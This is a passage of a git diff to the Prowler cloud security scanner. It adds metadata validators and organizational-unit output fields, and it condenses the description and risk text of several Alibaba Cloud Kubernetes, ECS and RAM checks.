+ validate_check_type(check_type, values): Validator function to validate CheckType - must be empty for non-AWS providers, no empty strings and predefined types validation for AWS. + validate_description(description): Validator function to validate Description max length (400 chars). + validate_risk(risk): Validator function to validate Risk max length (400 chars). + validate_resource_group(resource_group): Validator function to validate ResourceGroup against predefined values. validate_additional_urls(additional_urls): Validator function to ensure AdditionalURLs contains no duplicates. """ @@ -127,7 +245,7 @@ class CheckMetadata(BaseModel): Compliance: Optional[list[Any]] = Field(default_factory=list) @validator("Categories", each_item=True, pre=True, always=True) - def valid_category(value): + def valid_category(cls, value, values): if not isinstance(value, str): raise ValueError("Categories must be a list of strings") value_lower = value.lower() @@ -135,6 +253,13 @@ class CheckMetadata(BaseModel): raise ValueError( f"Invalid category: {value}. Categories can only contain lowercase letters, numbers and hyphen '-'" ) + if ( + value_lower not in VALID_CATEGORIES + and values.get("Provider") not in EXTERNAL_TOOL_PROVIDERS + ): + raise ValueError( + f"Invalid category: '{value_lower}'. Must be one of: {', '.join(sorted(VALID_CATEGORIES))}." + ) return value_lower @validator("Severity", pre=True, always=True) @@ -183,6 +308,90 @@ class CheckMetadata(BaseModel): return check_id + @validator("CheckTitle", pre=True, always=True) + def validate_check_title(cls, check_title, values): + if values.get("Provider") not in EXTERNAL_TOOL_PROVIDERS: + if len(check_title) > 150: + raise ValueError( + f"CheckTitle must not exceed 150 characters, got {len(check_title)} characters" + ) + if check_title.startswith("Ensure"): + raise ValueError( + "CheckTitle must not start with 'Ensure'. Use a descriptive title that focuses on the security state." + ) + return check_title + + @validator("RelatedUrl", pre=True, always=True) + def validate_related_url(cls, related_url, values): + if related_url and values.get("Provider") not in EXTERNAL_TOOL_PROVIDERS: + raise ValueError("RelatedUrl must be empty. This field is deprecated.") + return related_url + + @validator("Remediation") + def validate_recommendation_url(cls, remediation, values): + if values.get("Provider") not in EXTERNAL_TOOL_PROVIDERS: + url = remediation.Recommendation.Url + if url and not url.startswith("https://hub.prowler.com/"): + raise ValueError( + f"Remediation Recommendation URL must point to Prowler Hub (https://hub.prowler.com/...), got '{url}'." + ) + return remediation + + @validator("CheckType", pre=True, always=True) + def validate_check_type(cls, check_type, values): + provider = values.get("Provider", "").lower() + + # Non-AWS providers must have an empty CheckType list + if provider != "aws" and provider not in EXTERNAL_TOOL_PROVIDERS: + if check_type: + raise ValueError( + f"CheckType must be empty for non-AWS providers. Got {check_type} for provider '{provider}'." + ) + return check_type + + # Check for empty strings in the list - applies to AWS + for i, check_type_item in enumerate(check_type): + if not check_type_item or check_type_item.strip() == "": + raise ValueError( + f"CheckType list cannot contain empty strings. Found empty string at index {i}." + ) + + # For AWS provider, validate against config hierarchy + if provider == "aws": + for check_type_item in check_type: + if not _validate_aws_check_type_in_config(check_type_item): + raise ValueError( + f"Invalid CheckType: '{check_type_item}'. Must be a valid path in the AWS CheckType hierarchy. See prowler/providers/aws/config/check_types.json for valid values." + ) + + return check_type + + @validator("Description", pre=True, always=True) + def validate_description(cls, description, values): + if values.get("Provider") not in EXTERNAL_TOOL_PROVIDERS: + if len(description) > 400: + raise ValueError( + f"Description must not exceed 400 characters, got {len(description)} characters" + ) + return description + + @validator("Risk", pre=True, always=True) + def validate_risk(cls, risk, values): + if values.get("Provider") not in EXTERNAL_TOOL_PROVIDERS: + if len(risk) > 400: + raise ValueError( + f"Risk must not exceed 400 characters, got {len(risk)} characters" + ) + return risk + + @validator("ResourceGroup", pre=True, always=True) + def validate_resource_group(cls, resource_group): + if resource_group and resource_group not in VALID_RESOURCE_GROUPS: + raise ValueError( + f"Invalid ResourceGroup: '{resource_group}'. Must be one of: {', '.join(sorted(VALID_RESOURCE_GROUPS))} or empty string." + ) + return resource_group + @validator("AdditionalURLs", pre=True, always=True) def validate_additional_urls(cls, additional_urls): if not isinstance(additional_urls, list): diff --git a/prowler/lib/outputs/asff/asff.py b/prowler/lib/outputs/asff/asff.py index a5216b36ee..ab6f2fe582 100644 --- a/prowler/lib/outputs/asff/asff.py +++ b/prowler/lib/outputs/asff/asff.py @@ -76,6 +76,8 @@ class ASFF(Output): ProductArn=f"arn:{finding.partition}:securityhub:{finding.region}::product/prowler/prowler", ProductFields=ProductFields( ProwlerResourceName=finding.resource_uid, + ProwlerAccountOrganizationalUnitId=finding.account_ou_uid, + ProwlerAccountOrganizationalUnitName=finding.account_ou_name, ), GeneratorId="prowler-" + finding.metadata.CheckID, AwsAccountId=finding.account_uid, @@ -242,6 +244,8 @@ class ProductFields(BaseModel): ProviderName: str = "Prowler" ProviderVersion: str = prowler_version ProwlerResourceName: str + ProwlerAccountOrganizationalUnitId: Optional[str] = None + ProwlerAccountOrganizationalUnitName: Optional[str] = None class Severity(BaseModel): diff --git a/prowler/lib/outputs/csv/csv.py b/prowler/lib/outputs/csv/csv.py index 9f850450fb..bcb50d9433 100644 --- a/prowler/lib/outputs/csv/csv.py +++ b/prowler/lib/outputs/csv/csv.py @@ -82,6 +82,8 @@ class CSV(Output): finding_dict["ADDITIONAL_URLS"] = unroll_list( finding.metadata.AdditionalURLs ) + finding_dict["ACCOUNT_OU_UID"] = finding.account_ou_uid + finding_dict["ACCOUNT_OU_NAME"] = finding.account_ou_name self._data.append(finding_dict) except Exception as error: logger.error( diff --git a/prowler/lib/outputs/finding.py b/prowler/lib/outputs/finding.py index 0f8f8262eb..a93d20f063 100644 --- a/prowler/lib/outputs/finding.py +++ b/prowler/lib/outputs/finding.py @@ -39,6 +39,8 @@ class Finding(BaseModel): account_email: Optional[str] = None account_organization_uid: Optional[str] = None account_organization_name: Optional[str] = None + account_ou_uid: Optional[str] = None + account_ou_name: Optional[str] = None metadata: CheckMetadata account_tags: dict = Field(default_factory=dict) uid: str @@ -155,6 +157,12 @@ class Finding(BaseModel): output_data["account_tags"] = get_nested_attribute( provider, "organizations_metadata.account_tags" ) + output_data["account_ou_uid"] = get_nested_attribute( + provider, "organizations_metadata.account_ou_id" + ) + output_data["account_ou_name"] = get_nested_attribute( + provider, "organizations_metadata.account_ou_name" + ) output_data["partition"] = get_nested_attribute( provider, "identity.partition" ) diff --git a/prowler/lib/outputs/ocsf/ocsf.py b/prowler/lib/outputs/ocsf/ocsf.py index cac6a3766c..731d029284 100644 --- a/prowler/lib/outputs/ocsf/ocsf.py +++ b/prowler/lib/outputs/ocsf/ocsf.py @@ -194,7 +194,8 @@ class OCSF(Output): org=Organization( uid=finding.account_organization_uid, name=finding.account_organization_name, - # TODO: add the org unit id and name + ou_uid=finding.account_ou_uid, + ou_name=finding.account_ou_name, ), provider=finding.provider, region=finding.region, diff --git a/prowler/providers/alibabacloud/services/actiontrail/actiontrail_multi_region_enabled/actiontrail_multi_region_enabled.metadata.json b/prowler/providers/alibabacloud/services/actiontrail/actiontrail_multi_region_enabled/actiontrail_multi_region_enabled.metadata.json index ed8ff162b0..bb760f450e 100644 --- a/prowler/providers/alibabacloud/services/actiontrail/actiontrail_multi_region_enabled/actiontrail_multi_region_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/actiontrail/actiontrail_multi_region_enabled/actiontrail_multi_region_enabled.metadata.json @@ -9,7 +9,7 @@ "Severity": "critical", "ResourceType": "ALIYUN::ACTIONTRAIL::Trail", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud ActionTrail** is a service that records API calls made to your account and delivers log files containing the identity of the API caller, the time and source IP of the call, the request parameters, and the response elements returned by the service. Ensuring that a **multi-region trail** exists guarantees that management operations performed across all regions and global services are captured, enabling detection of unexpected activities in otherwise unused regions.", + "Description": "**Alibaba Cloud ActionTrail** records API calls made to your account, including caller identity, time, source IP, request parameters, and response elements. Ensuring a **multi-region trail** exists guarantees that operations across all regions and global services are captured, enabling detection of unexpected activities in unused regions.", "Risk": "Without a **multi-region trail** enabled, API calls made in regions outside the primary trail's scope will not be recorded. This creates blind spots in **security analysis**, **resource change tracking**, and **compliance auditing**, potentially allowing unauthorized or malicious activity to go undetected across your Alibaba Cloud account.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_cloudmonitor_enabled/cs_kubernetes_cloudmonitor_enabled.metadata.json b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_cloudmonitor_enabled/cs_kubernetes_cloudmonitor_enabled.metadata.json index 6809db19ec..79317727bf 100644 --- a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_cloudmonitor_enabled/cs_kubernetes_cloudmonitor_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_cloudmonitor_enabled/cs_kubernetes_cloudmonitor_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::CS::ManagedKubernetesCluster", "ResourceGroup": "container", - "Description": "**Alibaba Cloud CloudMonitor** agent provides visibility into system metrics for **Kubernetes Engine clusters**, including CPU utilization, disk traffic, network traffic, and disk IO information. Without the CloudMonitor agent enabled, operators lack critical observability into node and pod health, making it difficult to detect performance degradation or anomalous resource consumption. Enabling CloudMonitor ensures that a monitor controller is created to periodically connect to each node, collect metrics about its Pods and containers, and send them to the **CloudMonitor** server for analysis and alerting.", - "Risk": "Without **CloudMonitor** enabled on Kubernetes Engine clusters, there is no automated collection of system-level metrics such as CPU, memory, disk, and network usage. This lack of visibility can delay detection of **resource exhaustion**, **node failures**, and **abnormal workload behavior**, increasing the risk of undetected **availability** and **performance** issues. In a security context, the absence of monitoring data impairs the ability to identify **denial-of-service conditions** or **cryptojacking** activities running on cluster nodes.", + "Description": "**CloudMonitor** agent provides visibility into system metrics for **Kubernetes Engine clusters**, including CPU, disk, network, and IO. Without it, operators lack observability into node and pod health. Enabling CloudMonitor creates a controller that collects metrics from each node's Pods and containers for analysis and alerting.", + "Risk": "Without **CloudMonitor**, there is no automated collection of system metrics (CPU, memory, disk, network). This delays detection of **resource exhaustion**, **node failures**, and **abnormal workloads**, increasing risk of undetected **availability** issues. It also impairs identification of **denial-of-service** or **cryptojacking** on cluster nodes.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/ack/", diff --git a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_cluster_check_recent/cs_kubernetes_cluster_check_recent.metadata.json b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_cluster_check_recent/cs_kubernetes_cluster_check_recent.metadata.json index 948ca7539f..d805ca1629 100644 --- a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_cluster_check_recent/cs_kubernetes_cluster_check_recent.metadata.json +++ b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_cluster_check_recent/cs_kubernetes_cluster_check_recent.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::CS::ManagedKubernetesCluster", "ResourceGroup": "container", - "Description": "**Alibaba Cloud Kubernetes Engine** provides a cluster health check feature that validates the health state of each node and verifies the cluster configuration, including `kubelet`, `docker daemon`, `kernel`, and network `iptables` settings. Running these checks regularly ensures that cloud resources such as **VPC/VSwitch**, **SLB**, and every **ECS node** are functioning correctly. If consecutive health check failures are detected, diagnostic reports are generated for administrators to take corrective action.", - "Risk": "Without regular cluster health checks within the configured period, potential issues such as **node failures**, **misconfigured network rules**, or **degraded system components** may go undetected. This increases the risk of **cluster instability**, **service outages**, and **security vulnerabilities** that could be exploited by attackers. Delayed detection of unhealthy nodes or misconfigured components can also impact the **integrity** and **availability** of workloads running on the cluster.", + "Description": "**Alibaba Cloud Kubernetes Engine** provides a cluster health check that validates node health and cluster configuration, including `kubelet`, `docker daemon`, `kernel`, and `iptables` settings. Running checks regularly ensures **VPC/VSwitch**, **SLB**, and **ECS nodes** function correctly. Consecutive failures generate diagnostic reports for corrective action.", + "Risk": "Without regular cluster health checks, **node failures**, **misconfigured network rules**, or **degraded components** may go undetected, increasing the risk of **cluster instability**, **service outages**, and exploitable **security vulnerabilities**. Delayed detection of unhealthy nodes can impact the **integrity** and **availability** of workloads running on the cluster.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/ack/", diff --git a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_cluster_check_weekly/cs_kubernetes_cluster_check_weekly.metadata.json b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_cluster_check_weekly/cs_kubernetes_cluster_check_weekly.metadata.json index 9e7bb1af6a..a18b4a34c6 100644 --- a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_cluster_check_weekly/cs_kubernetes_cluster_check_weekly.metadata.json +++ b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_cluster_check_weekly/cs_kubernetes_cluster_check_weekly.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::CS::ManagedKubernetesCluster", "ResourceGroup": "container", - "Description": "**Alibaba Cloud Kubernetes Engine** provides a cluster health check feature that validates the health state of each node and verifies the cluster configuration, including `kubelet`, `docker daemon`, `kernel`, and network `iptables` settings. Running these checks at least once per week ensures that cloud resources such as **VPC/VSwitch**, **SLB**, and every **ECS node** are functioning correctly. If consecutive health check failures are detected, diagnostic reports are generated for administrators to take corrective action.", - "Risk": "Without weekly cluster health checks, potential issues such as **node failures**, **misconfigured network rules**, or **degraded system components** may go undetected for extended periods. This increases the risk of **cluster instability**, **service outages**, and **security vulnerabilities** that could be exploited by attackers. Delayed detection of unhealthy nodes or misconfigured components can also impact the **integrity** and **availability** of workloads running on the cluster.", + "Description": "**Alibaba Cloud Kubernetes Engine** provides a cluster health check that validates node health and cluster configuration, including `kubelet`, `docker daemon`, `kernel`, and `iptables` settings. Weekly checks ensure **VPC/VSwitch**, **SLB**, and **ECS nodes** function correctly. Consecutive failures generate diagnostic reports for corrective action.", + "Risk": "Without weekly health checks, **node failures**, **misconfigured network rules**, or **degraded components** may go undetected for extended periods, increasing the risk of **cluster instability**, **service outages**, and exploitable **security vulnerabilities**. Delayed detection can impact the **integrity** and **availability** of workloads on the cluster.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/ack/", diff --git a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_dashboard_disabled/cs_kubernetes_dashboard_disabled.metadata.json b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_dashboard_disabled/cs_kubernetes_dashboard_disabled.metadata.json index 162f75c79f..e933e258d2 100644 --- a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_dashboard_disabled/cs_kubernetes_dashboard_disabled.metadata.json +++ b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_dashboard_disabled/cs_kubernetes_dashboard_disabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "high", "ResourceType": "ALIYUN::CS::ManagedKubernetesCluster", "ResourceGroup": "container", - "Description": "**Alibaba Cloud Kubernetes Engine** clusters should not have the **Kubernetes Dashboard** (web UI) enabled. The Dashboard is backed by a highly privileged Kubernetes Service Account that can perform administrative operations across the cluster. It is recommended to use the **ACK Console** instead, which provides fine-grained access control through RAM policies and RBAC integration, avoiding the risk of privilege escalation through a compromised dashboard.", - "Risk": "The **Kubernetes Dashboard** is backed by a highly privileged Service Account that grants broad access to cluster resources. If the Dashboard is compromised through a vulnerability or unauthorized access, an attacker could gain **full control** over the cluster, deploy malicious workloads, exfiltrate **secrets**, and **escalate privileges**. This directly impacts the **confidentiality**, **integrity**, and **availability** of all workloads and data within the cluster.", + "Description": "**Alibaba Cloud Kubernetes Engine** clusters should not have the **Kubernetes Dashboard** (web UI) enabled. The Dashboard uses a highly privileged Service Account that can perform administrative operations across the cluster. Use the **ACK Console** instead, which provides fine-grained access control through RAM policies and RBAC integration.", + "Risk": "The **Kubernetes Dashboard** uses a highly privileged Service Account with broad cluster access. If compromised through a vulnerability or unauthorized access, an attacker could gain **full control** over the cluster, deploy malicious workloads, exfiltrate **secrets**, and **escalate privileges**, impacting **confidentiality**, **integrity**, and **availability** of all workloads and data.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/doc-detail/86494.html", diff --git a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_eni_multiple_ip_enabled/cs_kubernetes_eni_multiple_ip_enabled.metadata.json b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_eni_multiple_ip_enabled/cs_kubernetes_eni_multiple_ip_enabled.metadata.json index d0c4e8cc92..4bb208b4a4 100644 --- a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_eni_multiple_ip_enabled/cs_kubernetes_eni_multiple_ip_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_eni_multiple_ip_enabled/cs_kubernetes_eni_multiple_ip_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::CS::ManagedKubernetesCluster", "ResourceGroup": "container", - "Description": "**Alibaba Cloud Elastic Network Interface (ENI)** supports assigning multiple IP addresses to a single virtual machine's network interface. With **ENI multiple IP mode** provided by the **Terway** network plugin, Kubernetes Engine clusters can allocate pod IP addresses from the VPC CIDR block, enabling better scalability and native integration with other Alibaba Cloud services. This mode allows pods to have their own security group associations, providing granular network-level access control independently from their host nodes.", - "Risk": "Without **ENI multiple IP mode** (provided by the **Terway** network plugin), pods share the node's network interface in a less scalable manner and cannot have independent security group associations. This limits the ability to apply **granular firewall controls** at the pod level, increasing the risk of **lateral movement** if a pod is compromised. The inability to isolate pod networking from node networking weakens **network segmentation** and reduces the overall **security posture** of the cluster.", + "Description": "With **ENI multiple IP mode** provided by the **Terway** network plugin, Kubernetes Engine clusters allocate pod IPs from the VPC CIDR block, enabling better scalability and native integration with Alibaba Cloud services. This mode allows pods to have their own security group associations, providing granular network-level access control independently from host nodes.", + "Risk": "Without **ENI multiple IP mode** (**Terway** plugin), pods share the node's network interface and cannot have independent security group associations. This limits **granular firewall controls** at the pod level, increasing **lateral movement** risk if a pod is compromised. The inability to isolate pod from node networking weakens **network segmentation** and the cluster's **security posture**.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/ack/ack-managed-and-ack-dedicated/user-guide/associate-multiple-security-groups-with-an-eni", diff --git a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_log_service_enabled/cs_kubernetes_log_service_enabled.metadata.json b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_log_service_enabled/cs_kubernetes_log_service_enabled.metadata.json index b0d683ca31..78e2433f0c 100644 --- a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_log_service_enabled/cs_kubernetes_log_service_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_log_service_enabled/cs_kubernetes_log_service_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "high", "ResourceType": "ALIYUN::CS::ManagedKubernetesCluster", "ResourceGroup": "container", - "Description": "**Alibaba Cloud Log Service** is a real-time data logging service that supports collection, shipping, search, storage, and analysis for container and audit logs in **Kubernetes Engine clusters**. When enabled, Log Service automatically collects `kube-apiserver` audit logs, ingress visiting logs, and standard output/error logs from containerized processes. These logs are stored in a dedicated, persistent datastore and are essential for operational visibility, security monitoring, and compliance auditing.", - "Risk": "Without **Log Service** enabled, there is no centralized collection of container logs, audit trails, or cluster events. This severely impairs the ability to perform **incident investigation**, **compliance auditing**, and **security monitoring**. Attackers could operate undetected within the cluster, as there would be no audit trail of API server calls, pod lifecycle events, or container output. The lack of logging directly impacts the **confidentiality** and **integrity** of the cluster by removing a critical detection and forensic capability.", + "Description": "**Alibaba Cloud Log Service** supports collection, search, storage, and analysis for container and audit logs in **Kubernetes Engine clusters**. When enabled, it automatically collects `kube-apiserver` audit logs, ingress logs, and stdout/stderr from containers. These logs are stored persistently and are essential for operational visibility, security monitoring, and compliance auditing.", + "Risk": "Without **Log Service**, there is no centralized collection of container logs or cluster events, impairing **incident investigation**, **compliance auditing**, and **security monitoring**. Attackers could operate undetected with no audit trail of API server calls or pod events, impacting cluster **confidentiality** and **integrity**.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/ack/", diff --git a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_network_policy_enabled/cs_kubernetes_network_policy_enabled.metadata.json b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_network_policy_enabled/cs_kubernetes_network_policy_enabled.metadata.json index 830d62e716..a0a40210cb 100644 --- a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_network_policy_enabled/cs_kubernetes_network_policy_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_network_policy_enabled/cs_kubernetes_network_policy_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::CS::ManagedKubernetesCluster", "ResourceGroup": "container", - "Description": "**Alibaba Cloud Kubernetes Engine** clusters should have **Network Policy** support enabled through the **Terway** network plugin. A `NetworkPolicy` is a Kubernetes specification that defines how groups of pods are allowed to communicate with each other and other network endpoints using label-based selection rules. By default, pods are non-isolated and accept traffic from any source; applying NetworkPolicy resources restricts traffic to only explicitly allowed connections, enforcing the principle of least privilege at the network level.", - "Risk": "Without **Network Policies**, all pods in a Kubernetes cluster can communicate with each other freely, creating an unrestricted flat network. This allows an attacker who compromises a single pod to move **laterally** within the cluster, accessing sensitive services, databases, and secrets without restriction. The absence of network segmentation undermines **defense in depth** and increases the blast radius of any compromise, directly impacting the **confidentiality** and **integrity** of workloads.", + "Description": "**Alibaba Cloud Kubernetes Engine** clusters should enable **Network Policy** via the **Terway** plugin. A `NetworkPolicy` defines how pods communicate using label-based rules. By default, pods accept traffic from any source; NetworkPolicy restricts traffic to explicitly allowed connections, enforcing least privilege at the network level.", + "Risk": "Without **Network Policies**, all pods communicate freely, creating an unrestricted flat network. An attacker who compromises a single pod can move **laterally**, accessing sensitive services, databases, and secrets. The absence of network segmentation undermines **defense in depth** and increases the blast radius of any compromise, impacting **confidentiality** and **integrity** of workloads.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/ack/", diff --git a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_private_cluster_enabled/cs_kubernetes_private_cluster_enabled.metadata.json b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_private_cluster_enabled/cs_kubernetes_private_cluster_enabled.metadata.json index 92db7daa7a..26eb8ea727 100644 --- a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_private_cluster_enabled/cs_kubernetes_private_cluster_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_private_cluster_enabled/cs_kubernetes_private_cluster_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::CS::ManagedKubernetesCluster", "ResourceGroup": "container", - "Description": "**Alibaba Cloud Kubernetes Engine** clusters should be configured as **private clusters** to ensure that the API server endpoint is not accessible from the public internet. In a private cluster, nodes do not have public IP addresses and all communication between nodes and the master occurs privately through **VPC peering**. This significantly reduces the attack surface by eliminating direct internet exposure of the cluster's control plane and worker nodes.", - "Risk": "Exposing the **API server endpoint** to the public internet increases the attack surface of the cluster, allowing attackers to probe for vulnerabilities, perform **brute force attacks** against authentication, or exploit misconfigurations. A publicly accessible API server can be targeted by automated scanning tools and botnets, increasing the risk of unauthorized access. This directly impacts the **confidentiality** and **integrity** of the cluster by potentially allowing attackers to execute commands, deploy malicious workloads, or exfiltrate sensitive data.", + "Description": "**Alibaba Cloud Kubernetes Engine** clusters should be configured as **private clusters** so the API server endpoint is not publicly accessible. In a private cluster, nodes lack public IPs and all node-to-master communication occurs through **VPC peering**. This reduces the attack surface by eliminating direct internet exposure of the control plane and worker nodes.", + "Risk": "A public **API server endpoint** allows attackers to probe for vulnerabilities, perform **brute force attacks**, or exploit misconfigurations. Automated scanners and botnets can target it, increasing risk of unauthorized access. This impacts **confidentiality** and **integrity** by potentially allowing attackers to execute commands, deploy malicious workloads, or exfiltrate data.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/ack/", diff --git a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_rbac_enabled/cs_kubernetes_rbac_enabled.metadata.json b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_rbac_enabled/cs_kubernetes_rbac_enabled.metadata.json index c329225cb7..67312022de 100644 --- a/prowler/providers/alibabacloud/services/cs/cs_kubernetes_rbac_enabled/cs_kubernetes_rbac_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/cs/cs_kubernetes_rbac_enabled/cs_kubernetes_rbac_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "high", "ResourceType": "ALIYUN::CS::ManagedKubernetesCluster", "ResourceGroup": "container", - "Description": "**Alibaba Cloud Kubernetes Engine** clusters should have **Role-Based Access Control (RBAC)** enabled to enforce fine-grained authorization for cluster resources. RBAC allows administrators to define roles with specific permissions at both the cluster and namespace level, ensuring that users and service accounts only have access to the resources they need. The legacy **ABAC** (Attribute-Based Access Control) authorizer grants broad, statically defined permissions and should be disabled in favor of RBAC for improved security.", - "Risk": "Without **RBAC** enabled, Kubernetes clusters may rely on legacy authorization mechanisms such as **ABAC**, which grant **overly broad permissions** that cannot be scoped to specific namespaces or resource types. This increases the risk of **unauthorized access** and **privilege escalation**, where a compromised service account or user could gain access to sensitive resources across the entire cluster. The lack of granular access control directly impacts the **confidentiality** and **integrity** of workloads and secrets stored in the cluster.", + "Description": "**Alibaba Cloud Kubernetes Engine** clusters should have **RBAC** enabled for fine-grained authorization. RBAC lets administrators define roles with specific permissions at cluster and namespace level, ensuring users and service accounts access only needed resources. Legacy **ABAC** grants broad, static permissions and should be disabled in favor of RBAC.", + "Risk": "Without **RBAC**, clusters may rely on legacy **ABAC** which grants **overly broad permissions** that cannot be scoped to specific namespaces or resources. This increases the risk of **unauthorized access** and **privilege escalation**, where a compromised account could access sensitive resources across the cluster, impacting **confidentiality** and **integrity**.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/ack/", diff --git a/prowler/providers/alibabacloud/services/ecs/ecs_attached_disk_encrypted/ecs_attached_disk_encrypted.metadata.json b/prowler/providers/alibabacloud/services/ecs/ecs_attached_disk_encrypted/ecs_attached_disk_encrypted.metadata.json index 2a9f51c0b9..cc8acd56c8 100644 --- a/prowler/providers/alibabacloud/services/ecs/ecs_attached_disk_encrypted/ecs_attached_disk_encrypted.metadata.json +++ b/prowler/providers/alibabacloud/services/ecs/ecs_attached_disk_encrypted/ecs_attached_disk_encrypted.metadata.json @@ -9,7 +9,7 @@ "Severity": "high", "ResourceType": "ALIYUN::ECS::Disk", "ResourceGroup": "storage", - "Description": "**Alibaba Cloud ECS cloud disk encryption** protects data at rest by automatically encrypting data when it is transferred from ECS instances to disks and decrypting it when read. Ensuring that all attached disks are encrypted helps prevent unauthorized access to sensitive data stored on the disk. This check verifies that **disk encryption** is enabled on all ECS disks attached to instances, using **KMS** (Key Management Service) for key management.", + "Description": "**Alibaba Cloud ECS disk encryption** protects data at rest by automatically encrypting data transferred to disks and decrypting when read. Ensuring all attached disks are encrypted prevents unauthorized access to stored data. This check verifies **disk encryption** is enabled on all ECS disks attached to instances, using **KMS** for key management.", "Risk": "**Unencrypted disks** attached to ECS instances pose a significant security risk, as sensitive data could be exposed if the disk is compromised, improperly decommissioned, or accessed by unauthorized parties. Data at rest without encryption is vulnerable to **unauthorized access**, impacting **confidentiality** and potentially leading to **data breaches** or **regulatory non-compliance**.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/alibabacloud/services/ecs/ecs_instance_endpoint_protection_installed/ecs_instance_endpoint_protection_installed.metadata.json b/prowler/providers/alibabacloud/services/ecs/ecs_instance_endpoint_protection_installed/ecs_instance_endpoint_protection_installed.metadata.json index d018b97768..5ae20ef78a 100644 --- a/prowler/providers/alibabacloud/services/ecs/ecs_instance_endpoint_protection_installed/ecs_instance_endpoint_protection_installed.metadata.json +++ b/prowler/providers/alibabacloud/services/ecs/ecs_instance_endpoint_protection_installed/ecs_instance_endpoint_protection_installed.metadata.json @@ -9,7 +9,7 @@ "Severity": "high", "ResourceType": "ALIYUN::ECS::Instance", "ResourceGroup": "compute", - "Description": "**Alibaba Cloud Security Center** provides endpoint protection for ECS instances, offering real-time detection and removal of viruses, spyware, and other malicious software. This check verifies that the **Security Center agent** is installed and active on all ECS instances, ensuring configurable alerts notify administrators when known malicious software attempts to install itself or execute on the instance.", + "Description": "**Alibaba Cloud Security Center** provides endpoint protection for ECS instances with real-time detection and removal of malicious software. This check verifies the **Security Center agent** is installed and active on all ECS instances, ensuring alerts notify administrators when malicious software attempts to install or execute.", "Risk": "ECS instances without **endpoint protection** are vulnerable to **malware**, **viruses**, **webshells**, and other security threats that can compromise **confidentiality**, **integrity**, and **availability**. Without real-time monitoring, security incidents may go undetected, allowing attackers to maintain persistent access and exfiltrate sensitive data.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/alibabacloud/services/ram/ram_no_root_access_key/ram_no_root_access_key.metadata.json b/prowler/providers/alibabacloud/services/ram/ram_no_root_access_key/ram_no_root_access_key.metadata.json index d0ce95a9a1..233117c54c 100644 --- a/prowler/providers/alibabacloud/services/ram/ram_no_root_access_key/ram_no_root_access_key.metadata.json +++ b/prowler/providers/alibabacloud/services/ram/ram_no_root_access_key/ram_no_root_access_key.metadata.json @@ -9,8 +9,8 @@ "Severity": "critical", "ResourceType": "ALIYUN::RAM::User", "ResourceGroup": "IAM", - "Description": "**Alibaba Cloud RAM** access keys provide programmatic access to a given account. The **root account** is the most privileged user in an Alibaba Cloud account and should not have access keys associated with it. It is recommended that all access keys associated with the root account be removed to limit vectors by which the account can be compromised and encourage the creation of **role-based accounts** that follow the principle of least privilege.", - "Risk": "The **root account** has unrestricted access to all resources and services within the Alibaba Cloud account. If access keys for the root account are compromised, an attacker gains **full administrative control** over the entire account, including the ability to create, 